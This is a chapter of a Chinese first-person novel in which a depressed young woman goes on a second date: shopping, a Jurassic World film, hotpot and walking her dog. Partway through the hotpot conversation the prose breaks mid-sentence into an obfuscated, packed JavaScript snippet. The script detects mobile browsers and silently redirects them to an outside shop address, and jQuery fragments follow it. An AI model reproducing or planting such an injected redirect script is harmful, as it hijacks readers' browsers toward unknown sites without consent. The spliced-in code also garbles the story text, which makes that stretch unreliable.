49
[2025年7月，第27周]
十点钟左右，我给钱鹄发去消息：“我想了想，我们还是再了解一下吧。”
他没回复我，我也不在意。
“我先回去的。”
“好！”妈妈肉眼可见地开心起来。
半个小时后，钱鹄发来消息：“我才起来。”
“我也是这么想的。本来打算周末联系你的。”
“你今天有空吗？要不要出来见一面？”
“可以。”
“那我们约什么时间？”
我还没吃午饭。人也很困。
“两点吧。”
“好，那我到时候在你家楼下等你。”
他发了个“期待”的表情包。
炒了个青菜，用过午饭，我稍微睡了一会。尿频、中途醒来、醒来后焦虑，我已开始习惯，无可奈何，那就只能顺其自然。我从床上起来，嘴里叼着一瓶生脉饮，坐到书桌前。
大学看过一部动漫，叫作《元气囝仔》。由于很喜爱奈瑠，还将她用作头像。在别处看到他人亦如此，还会生出几分好感。
去到杉湖，再不由妈妈带去理发店，大多数时间，我还是选择短发。打小我就是个假小子，能玩爱闹，横冲直撞，心无城府，有勇无谋；亦不觉得有什么不妥，天性就喜欢张扬外放、轻松愉快。
现在也是夏天，空调房里有几分安逸，想起这部番，我再次点开。倒不是理解不了其中的趣味，也不觉得幼稚，人却好似石膏像，有着生动的、隔着纱的纹理，却不具备任何知觉。
半田老师爬上大坝，镜头给到夕阳，背景音乐的音阶拾级而上，欲营造豁然开朗的氛围，有人心境转为开阔，我却如同死物，残留不下半分生动。了然意图，心中却激不起半分波澜。
无感，我点击退出，开始看书。
两点，钱鹄发来消息，说到了楼下。日头正毒，身处室外，不得不眯起眼睛，他仍穿着一身黑，却站在院门口等我。
视线交汇，他面上堆起笑容。
我垂下视线，抿起了嘴角。上车后，看到座位中间放着两瓶矿泉水。我望向他，这一次，他指甲的游离线有二、三毫米长。
“我们去哪里？不然，还是去英特？”
“可以。”我表示赞同。
行车途中，钱鹄再次放歌，中文歌偏多，偶尔夹杂着几首韩文歌曲。
“你平时听些什么歌？”他问道。
“不怎么听歌。”
“你喜欢听韩文歌吗？”他再次开口。
“就那样。”
他并没有把歌切来切去的习惯。唯独一首，前奏循环完两遍，他才切到下一首。上一次，他也切过一回歌，碰巧，正是这一首。如果不喜，取消收藏就行，可他没有这么做。
这是一首R&B，前奏颇有特色，用的低频延音，电子音的颗粒感较强。由于前奏有些抓耳，上次听过，在D站刷到时，我特意搜了一下歌名。名字也起得很有特色，叫《第57次取消发送》。这首歌的前奏并不长，旋律循环两遍后，下一句就是歌词。一次是巧合，两次就显得刻意了。想必，这是钱鹄心中一段细腻、不想被外人触碰的私密。
不过，这和他一直以来的作风出入较大。看来，人都是会变的。
沿途经过工厂，烈日之下，偌大方型建筑之间，严丝合缝得不见半道阴影。红绿灯前，他并未等待，而是切入了侧边的小道。
“你爸爸教你的？”
“嗯，看他走过一次。”
乡下的电子眼基本都是摆设，多的是这样开车的人。
我靠在座椅上，卡通护枕不偏不倚地托起了脖颈。
“你平时在家做什么？”他尝试找话题。
“现在不是在备考嘛！”
“嗯，在家休息也不错。”
“你管早上四点半起来、干到八、九点回家，叫休息？来来来，明天你也去‘休息’一下。”
“不了、不了。”他讪笑道。
“你呢？平时下班干嘛？”我问道。
“打游戏、刷短视频，有时候会在家健身。”
“你追番吗？《排球少年》这类的。”我继续问道。
“我不看热血番。”
真是意想不到的答案。
“你打篮球吗？或者，踢足球？”我仍不死心。
“我不玩这些，总归要流一身汗。不过，高中的时候，我经常和同学在体育课打羽毛球。”
作为一个男生，在我的认知里，他有些小众。
“你知道《鬼灭之刃》吗？”钱鹄问我。
索尼之前和这部动漫有过联动。上家公司的一个同事对这部番的分镜大为赞赏，说是打斗画面尤为精彩。
“嗯，知道一点。”
“我特别喜欢里面的童磨。”他主动提及。
现在的一些作品，反派人物刻画得比主角还要吸引人，意想不到的人气爆棚。
“哦。”
“工作后，大家都没有什么爱好了。不过小时候在村子里，都是我带别的小孩玩，吊龙虾什么的。”
好刻意地标榜自己，无非是他年长一些。
“那天在你家门口听到狗子的声音了，蛮大一只吧？”他问道。
“嗯。”
“公的还是母的？”
“是个女孩子。”
“我以前也想养宠物，不过，我喜欢猫。有一回我没和家里说就抱了一只小猫回去，把我妈妈吓了一跳。她蛮怕这些小动物，完全接受不了。”
“那怎么办？”
“还能怎么办！她连家门都不敢进，都不去杉湖了。我只能把小猫退回去。”
这事要能成，颜盐怕不是进不去她儿子的屋。
去到商场附近，钱鹄再次将车驶入室内停车场。他跟着前车去到拐角处，一辆SUV正好出来。位置靠里，车头容易进，可出来的时候就只能倒车了。
他并不在意，几次调整车身后，停了进去。经过车头时，特意拿出手机拍下车位的编号。
“上次找了半天，这回一定要记下。”他和我解释道。
周六下午，商场哪哪都是人。运营上未必舍不得交电费，可人这么多，顶部又采用透光玻璃，温度难免偏高。
“要不要喝点什么？我同事给我推荐了一家水果茶饮店。”
“好哇。”
他把手机递给我，看着我操作。我选了一杯鲜榨果汁。
“你不喝茶吗？”
“这个时间摄入咖啡因，会影响晚上睡眠。”
“啊，还有这种说法呀！我平时在办公室喝茶，一泡就是一大杯。”
“看个人体质吧。”
“我办公室有个人，特别讲究养生。他的柜子里，全部都是西洋参、枸杞、决明子这种。”
“还有个女同事，每天一到单位，就开始煮花草茶。有一回她煮银耳汤，还分给了办公室的人喝。”
“哦。”
“你之前上班的时候，喝奶茶多吗？”他问道。
“还行吧。”
“我以为你会很喜欢呢！不都说女孩子喜欢喝奶茶嘛！而且，我之前还在初中对面的奶茶店看到过你。你是在店里帮忙吗？”
那应该是小五的时候。我见奶茶店的雪克杯很特别，一个周末的下午，便和另一个同学自告奋勇去店里帮忙。
“嗯。”
所以，他那天有看到我？我觑看了他一眼。
“我看你在忙，就没有和你打招呼。”他略带心虚地解释道。
“你等会想看哪场电影？”他问道。
我刷了下豆瓣，毫无疑问地说：“侏罗纪吧。”
主角居然是寡姐。钱鹄直接下单，我发了个红包，他却没有收。
“你把红包收一下。”我提醒道。
“没事。”他说。
“你要是不收，下回我就不和你出来了。”
“不要嘛！”他竟然撒起了娇。
这也不是第一次有男孩子对我撒娇。初中当值日生，抓包到男生讲话，对方突然变脸，满是真诚地附和我，让人忍俊不禁。
可钱鹄的做派，这种不自觉、非刻意的扭捏做派，让我很有些不适。我闭嘴不言，不欲继续和他拉扯。
他去前面拿饮品，却要求店员打包。我习惯拿在手上，却也不好说什么。
“你的包好小哇，里面能装什么？”
我这次背的仍是赫歇尔的手机包。吉伊卡哇的娃娃不耐脏，我便坠了一个机打的三小只彩色牛皮挂件。“装得下手机就行。”
“哦。”
离电影开始还有一段时间，我提议去隔壁的宜家逛逛。入口处支有冰淇淋和肉串的小摊，我有些兴趣。
“你想吃吗？”他问我。
我摇了摇头，往里走去。
在泽铯工作的周末，我很少去商场，有想看的电影，也会去复兴村那边。工作后，在首都第一次逛宜家，对于那时的我，一切都很新鲜。同行的同事大力推荐热狗，酱料加多加少全由自己说了算，让我说不出地喜爱。
回到上庸，齐安区的英特还未大热，和现在相比，客流量远远不及。可那时的品牌覆盖面更广，其中，我记得的就有凌美。
“你喜欢逛宜家呀！”他开口说道。
“还行。”我并未停留，而是随着人流往前走。
他也没流露出兴趣，直到经过床上用品专区。
“你说这种枕头睡起来感觉如何？”他驻足在一款分区的护颈枕前。
“睡觉的时候，哪管得了侧睡枕哪块、仰睡枕哪块！”
“也是。”
“你颈椎不好？”我问道。
“还行吧。我以前买过颈椎枕，花了好几百呢！不过，睡了一段时间，觉得没什么用。我现在睡觉都不用枕头。”
枕头过高也不合适，可不用枕头，“脖子没有支撑不会难受吗？”我问道。
“习惯了就还好。”
路过办公家具区，他径直坐上了电脑椅，转了好几个圈。由于是特价，黄色的海报上用记号笔大大地写着价格。
“你说这种椅子卖到六七百，凭的是什么？”他开口说道。
“我家里也有一个，不过有头枕。我平时吃完饭，就在椅子上小寐，还挺舒服的。”
“那把椅子都没花钱，城管办公楼装修，之前的桌子椅子就都不要了，我爸见状，就搬回来了几个。用了没多长时间，底盘就和脚架断开了，我爸找了个电焊师傅，还给修好了。”
“就是再转不动了。”他一脸可惜。
去到一楼，我和他提起：“他们家的热狗，味道还不错。”
“是什么样的？”
“面包夹着水煮的香肠，撒上一些炸过的洋葱碎，里面还有几片酸黄瓜。”
“咦，我不喜欢吃这种。”
“你要吃吗？”他问我。
我再次摇了摇头。
小时候，爸妈会去楼下的音像店租碟片回家看，一家三口挤在一个被窝，是这个家为数不多的温馨时刻。租《侏罗纪公园》那次，许是觉得少儿不宜，刚放了开头，他们便哄我去睡觉。很长一段时间，我对《侏罗纪公园》的印象，停留在封面霸王龙的剪影。
我不喜惊悚片，直到《侏罗纪世界2》上映，才把老片翻出来看。
杰夫·高布伦扮演的马尔科姆在电影中有一句非常出名的台词：“生命会找到出路。”影片后半段，山姆·尼尔饰演的格兰特在森林中发现了破壳的恐龙蛋，证实即使只有雌性，由于与两栖类的DNA进行混合，恐龙也可以繁衍，此情此景，印证着“生命找到了出路。”
杰夫·高布伦还客串过《老友记》，和乔伊搭戏。荧幕上的各种机缘巧合与意外重逢，总能让我在看剧时感到惊喜和亲切。
落座后，钱鹄把饮料递给我，电影刚好开始。
《侏罗纪世界1》中就有追求暴虐的D-Rex掠食者恐龙，到了第四部，开头即是重磅——代号“畸变暴龙”的六肢畸形霸王龙。
论惊悚，当年看《普罗米修斯》，我也只是有些后怕。电影开头，明明隔离门两侧各有一种可能，一方被吞食，一方亲眼目睹，自己却是同时代入双方，受到同事葬身畸王龙之口、自己无法逃离的双重夹击。心脏被狠狠揪住，恐惧随之蔓延全身。
明明身处荧幕外，却好似下到地狱。镜头一转，置身车水马龙中，嘈杂的背景声响起，还未从恐惧中抽离，却被渲染了由停滞不前的车流带来的烦躁，整个人已有些难受。
我调整了坐姿，扭了下脖颈。
“脖子不舒服吗？”他问我。
“还好。”
鲁伯特·弗兰德甫一出场，我就认出他是《傲慢与偏见》零五版的军官。寡姐耳朵上的饰品超多，恰到好处地让人意识到她有多酷。
一位女星在这类影片扛把子，我只能说，寡姐好样的。
当马赫沙拉·阿里出现在荧幕上，我和钱鹄搭话：“你看过《绿皮书》没有？”
“那是什么？”他回我。
“一部得过奥斯卡奖的影片。”我解释道。
“讲的啥？”他追问道。
“重视家庭的意大利人如何交朋友。”
“哦。”
电影的前半段属于探险，我却看得十分揪心，帆船中狭小的容身之所也好，翻船后不知救援何时到达的无助也罢。影片中善恶终有报的呈现，并未如愿缓解观影过程中的对未知命运的紧张和不安。直到看见泰坦巨龙在宏大的山脉与旷野间相偎依，那一刻，内心才稍许有被安抚。
我已失去无知之勇，命运的眷顾也离我而去。从前观看这类影片，我总是感知到新奇与强大，看到主角无所不能，亦觉得自己可以冒险闯荡。时至今日，心中歇斯底里的，却是不能与害怕。
长这么大，曾几何时，我感觉过害怕？亦或畏惧？
可现在，对于这样的感觉，我已不再陌生，只残留些许无能为力和绝望。
从影厅走出，我和钱鹄说要去卫生间。其实，影片开始没多久，我就感觉到尿意。以前出来玩，我只在影片结束后、饭前，顺便去一趟。呵，对于现在的自己，我还需要慢慢适应。
“这部片子还挺好看！女主蛮帅的。”钱鹄和我说。
我看向他，点点头。
“我们晚上吃什么？”他询问我意见。
“看一下再说吧。”我回答。
经过上回要排好长时间的那家火锅店，“要不要去这家？”他问道。
也没什么不可以。我有点想吃火锅。
“好。”
这一回，刚走到店门口就有服务员迎了过来，直接带到座位。正好在下风口，十分凉爽。放眼望去，大堂基本坐满，可锅气缭绕间，并不吵闹。
“你们有团购吗？”小哥问道。
“哪个平台比较优惠？”钱鹄向小哥咨询。
我打开点评应用，找到店家，发现既有代金券的活动，也有团购的套餐。
他俩在那里有问有答。我下单了团购套餐，说：“我来吧！”
“上回在我家楼下，我态度有些不好，你不要放在心上。”
“没事，没事。”他连忙回说。
我点开券码，递给小哥：“麻烦验下券。”
小哥正看向我，顿了顿，“好嘞！”连忙笑着拿出设备扫码。
“你们想点什么锅底？可以选两个。”
“来一个菌汤的吧。你呢？”我问过钱鹄。
“唔……我要一个牛油的。”
“好的！饮品您二位看要哪一种？”
我望向钱鹄。“柠檬茶吧！”他说道。
“麻烦两杯柠檬茶。”
“好嘞，一会儿给您送过来。”
“对了，店里还有打卡送甜品的活动，现在只有豆花了。您二位要不要参加？我可以和后厨打招呼，给您送两份。”
“不用了……”话没说完，钱鹄开口道：“我看一下啊！”
他们在那一阵鼓捣。
终于弄好了，小哥说道：“那我就不打扰二位了，我去给您下单。”
“麻烦你了。”我回复。
我让钱鹄先去加调料，他回来时，还端着一盘水果。
我也坐下，他开始找话讲：“你原来是近视呀！”
上回好歹还涂了口红，穿的是件牌子T恤。这回出来，我不仅戴着镜框，衣服也没换，就是平常在店里穿的T恤，下身一条奶白色棉麻齐膝短裤，脚上一双刷得有些变形的球鞋。虽然不衫不履，却去伪存真，乐得轻松。这款短裤我一共在店里买了三条，分别搭配不同颜色的T恤，乐得偷闲。
我这身搭配，商场里十个年轻男性，六个都这么穿。不过我身型不胖，也不高，看上去，不刻意归类，区别还是不小。另外几个或是穿长裤，或是踩拖鞋，骨子里流露出的不讲究，归根到底，和我是一路。
以前玩游戏，好不容易充钱买了套衣服，也是这个打扮。还被姜斯童嘲笑：“这个游戏的玩家清一色在那儿亲亲我我谈情说爱，唯独你搞了个人妖号，正儿八经地在那敲键盘！”
他总结得精辟到位。不过，我玩得开心就行，看在他把电脑让给我的份上，我不和他计较。
职场上，也有过拎不清的对我的衣着打扮不满，说起话来绵里藏针。同是不修边幅，我尚且穿得简单、干净整洁；可那些在办公室肆无忌地抽着电子烟的，穿着领口变形、脱胶T恤的，踩着拖鞋的，更有甚者，稍一靠近，便可看见如雪般头皮屑、或是闻到各种让人不适气味的，张口还吐露大蒜“芬芳”的，可从来没有人对他们指手画脚。对于这种蹬鼻子上脸的，我一概充耳不闻。不过，今天这般打扮下楼，我并未从钱鹄脸上看出不同。
“上回看你戴眼镜，我以为是看书忘了摘下来，没好意思问。”
“嗯，之前带的隐形。”
“那会不会很难受？”
“还好，我买的日抛。”而且是硅水凝胶，透氧性不错。
“其实我也是近视，度数还蛮高，有七百多度。”他接着说。
我望向他，他并没有戴眼镜。长期配戴眼镜且度数较高的人，眼球多少会有些突出。从他的五官来看，佩戴眼镜的痕迹并不重。
“我高中才戴的。那个时候我住在亲戚家，他们不怎么管我，每天放学后我都会去网吧打游戏，一下子就近视了。眼镜老从鼻梁滑下来，很不方便，流汗的时候，还容易糊。高考完，我就和家里说，想做近视手术，他们就带我去了。”
这很常见，高考结束，近视矫正的有之，剌双眼皮的不在少数，学车的、祛痣的、旅游的、烫染头发的，百花齐放。不过，这些只发生在和父母关系较好的家庭。
“看不出来吧！”不知怎的，他总觉得别人很轻易就会吃惊。
“你做的哪种？”我问道。
如果是角膜性屈光手术，由于不可逆，风险较高；而人工晶体植入术，则是费用更高。之前和人闲聊，对方就提到她的一个朋友因为术后异物感太强，又把晶体取出来了。
钱鹄的兴致肉眼可见地上来了：“你知不知道晶体植入？和隐形眼镜有点像，不过直接嵌入到眼球，可以管很长时间。”
我高考那年，主流还是全飞秒。这种手术，越是早期，价格越昂贵。钱鹄比我大三岁，可见他父母对待自家小孩，只论好的、不论价格。
学习这种事，脑子不错，问题就不大。吊儿郎当的人，再聪明，也积攒不下学识；但凡用功，扎实肯学，“驽马十驾，功在不舍”，长此以往，心性和成就必定超出同龄人许多。
不过，回到成年人的生活，两个人有没有共同话题，这个相当重要，因着决定了能不能玩到一块。
“你平时看剧吗？”我问道。
“唔……不太看。不过，我妈妈很喜欢看老剧，都是我帮她充的会员。”
“《权力的游戏》也不看吗？”我知道不少男生都追过这个剧。
“听说过，偶尔还刷到它的短视频。哦，对了，《指环王》第一季出来的时候，我追着看完了。”
“它还出了连续剧？”我有些诧异，不过，好像有点印象。
“嗯，第二季也出完了，不过我只看了开头。”
“感觉怎样？”
“里面有一些政治正确，到后来，就有点追不下去了。我还看过《我的天才女友》，有一段时间它挂在主页，我点进去看了几集。还有《唐顿庄园》，我追过几季。”
这么说，他看过不少剧，就是和我看的，不太对得上。而且，后提到的两部，更偏女性向。联系他的性格，倒十分合理。步入大学，我开始认识到男性的多样性；及至工作，自离开儒伊，接触到的男同事，多少似有若无地瞧不起女性，一旦涉及到利益，打压起来更是快准狠。我极其讨厌大男子主义，小时候看港产片，第一次听到“沙猪男”这种描述，参照剧中的言行，自此对这类人下头。自古，有才华的人多被叮嘱戒骄戒躁、静水流深，唯恐“木秀于林，风必摧之”；可性别这块，不能以常理度之，这一优势占据族群的一半，不必担心他人眼红，招致祸患，而且生来就有，不存在“山外有山，天外有天”，他人亦无从驳斥。当平生受益无出性别其右，一部分对性别执着的男人，也就不难理解了。虽然我更欣赏男子气慨，钱鹄的柔性，不得不说，也是一个加分项。
“你看得进《我的天才女友》？”我有些疑惑。
我略微了解过故事背景，不同于主流影视聚焦于中产阶级，这部剧设定在上世纪的意大利那不勒斯，讲述两位女性主角如何在充满贫困、暴力的落后社区中挣扎和跨越阶层。由于剧情太过现实，即使我饶有兴趣，也只能望而却步。
“还好吧，”他却说不出个所以然。
嘛，我也就是蜻蜓点水问个大概。
聊天过程中，锅底已端上，菜品陆陆续续上齐，甜点也送来一份。一个店员来到桌边，自我介绍道：“您好，我是专门负责这一桌的客户经理，方便的话，可以加个好友吗？之后，我们会做回访，并赠送优惠券。”
钱鹄拿出手机扫码。
“如果还有需要，你们随时可以叫我。我就站在那边。”他用手一指。
“等一下，你们刚刚说可以送两份甜品，还差一份。”我喊住他。
“好的，我去帮您问问。”
钱鹄拿起公筷，开始往锅里下菜，一边接着和我聊。
“我小姨上次回来，大包小包地拎了很多。她还背了把吉他，说是送给我。我又不会弹，还不是放在家里。”
“我妈妈特意让我请假陪她全家出去逛，每天从早到晚，把人累得够呛。不过还是挺好玩的，你坐过空轨没？坐之前，我以为和轻轨差不多，可从车底看到地面上人的头顶，感觉还是非同一般。”
“那天还是工作日，车上坐满了人！”
“他们还点着要去原湖边上野餐，那边和市区老远了，就呆那一会，真是不值。”
“几天下来，我人黑了好几个色号，瘦了好几斤。”
公筷只有一双，用来夹生菜，桌上也没有筷筒。我不好意思开口找服务员再要一双。好在店里的招牌是毛肚，服务员会帮着煮至于其他，还有漏勺可用，不至于影响我用餐。
“你小姨是怎么出的国？”我有些想象不到。
“她先是考取了市内医院的编制。院里有去新加坡交流的机会，她自学了英语，拿到了名额。去到新加坡，眼见周围的同事很多都移民去了澳洲，她也心动，派遣结束后，在澳洲的医院找到一份工作，时间一长，就在那边定居了。”
“她还把我家家接过去住了两回呢！老人家在那边吃不惯，没多久就闹着要回来。”
“她好厉害！”我由衷地称赞。
“你小姨她自己买的房吗？”我有些好奇。
“不啊，房子是她老公家买的。”
“和外国人？”
“不是，在那边长大的华裔，孩子都生了两个，还在读初中。”
“你性格变了好多，”他话锋一转，“我记得你以前很喜欢说话。”
那不知是多久以前了。只有忙过头恍然若失时，我才能察觉到自己与从前迥然不同。精神科面诊时，医生也问过我相关的问题：“你平时照镜子是什么感觉？”大多数时候，我只在洗脸台前看见自己。这些年，我少有对自己的知觉，镜子中的我，大多数时候，让人不忍直视。家中的穿衣镜碎掉好些年，今年年初，才来宜家又买了一面，穿衣打扮，也较从前上心了几分。有时，看到镜子中的自己，会让我感到些许安心。出门前，我还会对镜拍下当日打扮，这可以帮我巩固对自己的认知。
“你平时和朋友也这样吗？很少和她们聊天、出去玩？”
“还好吧，大家都很忙。我和堂姐关系不错，可她在国外，时间对不上。”
“她在哪个国家？”他问道。
“美国。”
“在那边上学吗？”
“一开始是去那边读研，毕业后留了下来。前期在那种小而美的公司攒履历，前几年如愿跳槽到行业内的第一梯队。”
“她拿到绿卡了吗？”
“快了吧。”
“哦。”
“她工资也不低，可听她的意思，在那边买房还是有点难。”
“哦。”
“你呢？经常和朋友一起出去玩？”我问道。
“嗯啊，时不时晚上一起约个饭。”
“那你们不喝点小酒？”爸爸不抽烟，可每回聚会必定喝酒。
“稍微喝一点，不多。”我打量着他的神情，心忖，但凡聚会喝酒，就不存在只喝一点这种说法。
“喝醉过没？”我问得直接。
“那还好，不得的。”
“过年和亲戚一起吃饭，没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301324|198639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有喝醉过吗？”
“呃，还好。长辈敬我酒，我肯定不能拒绝，但喝醉还是蛮少。”
“那你每回在外面吃，怎么和家里人说呢？”
“一般都是约第二天，提前和家里打招呼就行。”
“老吃我妈做的饭也腻。你不知道，她做饭蛮素，都是院子里种的菜，每天特意拿到杉湖烧给我吃。”
“那你家家的晚饭怎么办？”
“哦，我妈都是做好了才和我爸爸一起去杉湖。家家吃的时候，热一下就行。”
“他们为什么不住在杉湖呢？”
“刚开始是这样。我爸爸之前跑出租，妈妈每天搭公交回榕潭上班。后来他腰椎不行，就把车给卖了。加上我妈妈退休，两个人每天在家大眼瞪小眼，也不是个事。家家身体也不好，所以他们搬回榕潭照顾老人。”
“你也晓得，我爸爸现在在开垃圾清运车。这个事还是我妈妈帮他找的。他手上有钱，也不用跟我妈妈开口要。”
“那不是蛮辛苦？每天很早就要起来吧？都这么大年纪了！”我说道。
“四点多就要出门，在榕潭住的时候，每天都被他吵醒。其实，习惯了也还好。他只用上半天班，早上把垃圾运到处理厂，一天的事就结束了。下午时间都由他说了算。他有时候连觉都不补，吃了饭就赶紧去麻将馆。我爸爸还和我说，他在麻将室碰到过你妈妈呢！”
“嗯，有这个事。”
“你打麻将吗？”我问道。
“会打一点，过年的时候，他们到处拉人凑角，我跟着打过几回。”
“你也去麻将室吗？”
“那我不得去，里面的人个个抽烟，臭死了的。”
安静了片刻，钱鹄开口道：“听我妈妈说，你爸爸也退休了吧？”
“嗯。”
“那他每天在家做什么呢？”
“还能干什么？吃饭睡觉玩电脑呗！”
“他自己做饭吃？”他问道。
“不然咧？你爸爸不会做饭？”我反问他。
“他呀，只会做甩手掌柜。钱用完了，就找我妈妈要钱。”
“你不会做饭，那你做不做家务呢？”我问道。
“嗯……我妈妈基本都做了。不过，地板是我拖的。她体力不行，每回拖地都累得满头大汗，拧拖把都没得劲。拖地很费功夫的呀，整个屋里，要拖两遍才算干净。”
“拧拖把为什么会费劲？不都有脱水篮吗？”
“咦，这种不行，水渍太重了。我家里都是木地板，要用那种老式的棉拖把拖地，不然会有划痕。”
“海绵拖把呢？那种滚筒挤压的。”
“我力气大，那种用不了几回就脱胶了。”
说钱鹄像他爸爸吧，两个人十指不沾阳春水；可言谈间流露出的掌控意味颇浓，显得他更肖颜盐。
安静了片刻，钱鹄望向我笑着再次开口：“你看，我俩这回不聊得挺好嘛！你有什么想知道的，只管问。”
缓了片刻，我应了声。他这话说得颇为刻意，好似我正中他下怀，而他又十分坦荡。
桌上只有一份甜品，冰都要化了。我喊来服务员：“不是说还有一份甜点吗？怎么还没送过来？”
“不好意思，我再去催一下。”不下片刻，另一份豆花姗姗来迟。
“等一下，”我喊住店员，“麻烦把剩下的毛肚也下到锅里。”
她有些迟疑，欲喊来经理。
“我来吧，”钱鹄阻止我。“你想吃什么就和我说，我帮你煮。”
我看了他一眼，只得作罢。
他用自己的筷子在锅里夹菜，由于筷子本就不够，我无意说些什么，而且他一直吃的牛油锅。可他将海带丝夹到我碗中，几次滑落，才全部挑了进来，最后，还特意看了我一眼。我没说话，拿起手边的饮料喝了一口，不再动碗里的菜。
好在我吃得差不多了。
我虽然不吃，东西可不能浪费，索性拿过公筷，少有地替人布菜。他碗中稍微空了些，便再次给他堆满。他有些受宠若惊，忙不迭地埋头干饭。
“这家店味道很不错。”去往停车场，钱鹄说道，“你今天吃得也不多。”
“吃好了就行。”
到达榕潭，他把车停在不远处的停车场。我不明所以。
打开车门，热气扑面而来，将人四面八方裹住。
“你是不是还要遛狗？”他开口道。
“嗯。”
“我还没见过你家狗呢！我陪你一起吧！”
这提议倒有几分新鲜。脱兔和人接触确实不多。
“行，那我把狗子牵下来。”
回到家中，我给脱兔穿上胸背，扣上牵引绳，把垃圾袋叠好放入口袋。
饶是他已有心理准备，乍见偌大一只狗猛然从黑黢黢的楼道中窜出，还是吓得一个激灵。
我有些好笑，但没有开口。
脱兔遛弯，如同猛虎出笼，一个劲地往前冲；钱鹄走在绳子的一侧，和前方以及绳子均保持一定距离。他有些想看狗，又不敢上前。
“这狗有多重呀？”他开口问道。
“七、八十斤吧，抱着称体重都费劲。”
“它多大了？”
“今年满九岁。”
脱兔妈妈的主人记录了小狗的出生过程，它刚好在前一天的晚上十一点半从妈妈肚子里出来。
“哇，养了好多年呐！你妈妈也养了狗，上回在店里，我还摸了那只狗的头。”
他说的应该是心心。
走在马路边，他提出想要牵一下绳子，我打量了一下他，暗忖应该出不了乱子。
“两个手抓好，”我提醒道。
脱兔并不在意换了人，它仍在往前奔，钱鹄身体向后仰，一步一顿，倒也硬撑着继续。
走了十来米吧，他把绳子递还给我：“这狗好大的劲呀，你是怎么牵得住！这哪里是遛狗，说是锻炼也不为过！”
“蛮多人这样说。平时在路上，总有人看笑话，逗了狗，又问我拉不拉得住。”我回答。
“我在短视频里看过那种可以收缩的绳子，你怎么不买那一种？”
他说的应该是福莱希。
“一开始用的就是那个，八米长，都不够它往前奔的。”
个傻狗永远只晓得横冲直撞，旁边的小树林，不往里走，就不知道嗅探。
“那种并不耐用，时间长了还容易卡壳。这狗霍霍了好些个，把盒子摔得稀巴烂。”
到头来，还是多功能牵引绳实用又耐造。
到达路口，我牵着脱兔掉了个头。
“今天好热啊，我裤子都黏身上了。”说着，他还扯了一下。
“它舌头一直在外面，没收进去过，热坏了估计。你没想过跟它把毛剃一下吗？”他再次提问。
我缓了缓，答道：“我觉得挺好的。”
“它洗澡怎么办？”钱鹄继续问道。
“买了吹水机，在家给它洗。”
“那蛮费劲吧？”
“还行。”
临近停车场，他还想努力一下。
“我听钱姨说，你晚上还会骑车？”
之前骑完车回来，在路上碰到过小鱼伯伯一回。怎么到我这，再平常不过的事，都变成值得上报的军情了？
“嗯。”
“你今天骑吗？”他问我。
“太热了，不想骑。”
“骑一下嘛，我和你一起。我也好久没骑车了，正好当作运动。”
我侧头看向他，想着怎么让他知难而退。
“你有车吗？”我问道。
“我可以骑我妈妈的自行车。”
“现在也不早了，你还要回杉湖……”
“等下叫个车就行，蛮方便。”
“天这么热，还是算了吧？”
“今天晚上有风呢！骑车的时候，就更凉快了！”
“行吧。”话已说尽。
“那我先回去把车子骑过来，等会在路口见？”
我无奈点头。“好吧。”
和脱兔回到家，已过九点。我喝了口水，有些恍神。这一周，过到现在，人的感觉好似白开水般寡淡。没有什么可以，也没有什么不可以。今天大部分时间都在外面，现在，还得被人牵着鼻子走，去湖边骑车。明明他身上也看得到的累，亦觉得天热，可偏偏有几分好似熬鹰，非得赶鸭子上架，像是要把人彻底打趴，才能一逞威风。
罢了，总归，我不讨厌骑车，也没有什么想法和精力去应对。
去到路口，他骑着小车，前面篓子装着的，应该是之前放在车上的矿泉水。见我过来，他将其中一瓶递给我。
“不好放。”我拒绝道。
他在前方骑着他妈妈那辆粉色折叠车，没一会，他回头和我搭话。
“这车子还是不行，等我找个共享单车。”说着，他下来推车，刷着手机。
我慢慢踩着踏板，心中并无情绪。
还真叫他找到一辆，不过，他鼓捣半天，却打不开锁。
“唉，算了。”尝试过一回无果，他选择放弃。
到湖边得转两个弯，中间那段路比较黑，我挂着尾灯，倒也无碍。过完马路，则是环湖车道，右侧是融于夜色的湖水，左边是白昼般敞亮的空旷车道，人有几分放松。
折叠车轮框的直径同童车差不多。他在我左前方，欻欻地踩着踏板，却并未前行多远。我本就有些累，慢慢地踏完一圈，不时还歇上一回。
“你这车子看上去不错呀！”他和我说道。
“嗯，还行。”看他骑着有些破旧的小车，有点好笑，略微还有一丢丢过意不去。可我已经不是从前那个全心全意替他人着想的傻大姐了。
“骑起来还是有风的，比遛狗的时候还是要凉快不少。”他说道。
“你每天都骑吗？”他问我。
“有一段时间没骑了。”
“为什么呢？锻炼身体也好哇。”
我不作回应。
骑车可以充□□好。妈妈还在医院上班时，给我一辆自行车，我能绕着住院部骑一整个下午。在杉湖上学，每当心情不好，我会找早早到校的同学借车，驶出校园，沿着街道兜风，再坏的心情，也能随风而散。太久没想起从前，情绪已冬眠，可有些事情，不同过，就难以彻底抹去。
去到高中，渐渐的，身边只我一人。一人上学，一人逃课，一人翻院墙。进到大学，宿舍只是睡觉的地方，一人去图书馆，一人去上课，一人交作业，一人在操场跑步。工作后，回到只有一人的家，身边唯有脱兔，一人做饭，一人做家务，一人看电影，一人下馆子，一人照顾狗狗。我从未觉得独处有什么不好，一个人的乐趣数之无穷、道之不尽，我乐得自在。直到《双人成行》发售，喜欢冒险动作类游戏的我，最终，不得不低头在网上寻找游戏搭子。Hazelight Studios于今年发行了《双影奇境》，周五我看到消息便下单，周六睡醒后找到游戏搭子，周日就通关了主线剧情。
